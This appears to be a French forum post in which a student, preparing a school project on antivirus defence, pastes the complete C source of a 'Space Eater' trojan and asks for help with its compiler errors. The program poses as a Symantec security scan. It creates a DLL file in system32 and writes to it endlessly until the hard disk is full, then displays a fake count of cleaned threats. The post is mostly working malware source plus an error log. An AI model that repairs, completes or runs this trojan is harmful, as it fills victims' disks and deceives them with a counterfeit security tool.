Bonjour à tous,
Mon TPE consiste a montrer comment se défendre efficacement contre des attaques informatique. Dans mon TPE je dois réaliser une experience et avec mon groupe on a décidé de mettre à l’épreuve notre antivirus afin d'ensuite enchaîner sur les explications. Donc on doit coder un virus sans gravité que l'antivirus peut détecter. J'en ai trouvé un mais il y a des erreurs dedans, or le programmer est en C et je ne maîtrise pas ce langage.
Voici le programme que j'utilise et que je compile sur Dev C/C++
/* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/
#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;
void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
int main()
{
draw();
accept();
int textcolor(int WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}
void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rI F YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");
if((choice=getch())!=13)
exit(0);
}
void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("*********************** ****************************** ***");
gotoxy(12,6);
cputs("*********************** ****************************** ***");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}
void findroot()
{
t=fopen("C:\\windows\\explorer .exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32 \\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32 \\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer .exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32 \\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32 \\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer .exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32 \\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32 \\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer .exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32 \\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32 \\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}
void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}
Et voici les erreurs que je trouve :
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'int main()':
24 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
26 8 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'sleep' was not declared in this scope
28 9 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'delline' was not declared in this scope
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void accept()':
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void accept()':
38 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
38 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
39 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void draw()':
48 8 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'clrscr' was not declared in this scope
49 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'WHITE' was not declared in this scope
49 16 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
50 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void findroot()':
68 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'WHITE' was not declared in this scope
68 16 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
72 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
73 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
92 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
93 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
112 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
112 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
113 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
132 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
132 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
133 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
147 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
147 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
147 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
148 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void eatspace()':
158 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'LIGHTRED' was not declared in this scope
158 19 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'textcolor' was not declared in this scope
159 13 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
161 11 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'WHITE' was not declared in this scope
173 21 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'random' was not declared in this scope
C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C In function 'void showstatus()':
193 12 C:\Users\Valentin\Desktop\Nouv eau dossier\SpaceEater.C [Error] 'gotoxy' was not declared in this scope
Voilà, j'éspére que vous pourrez m'aider
Merci d'avance
-----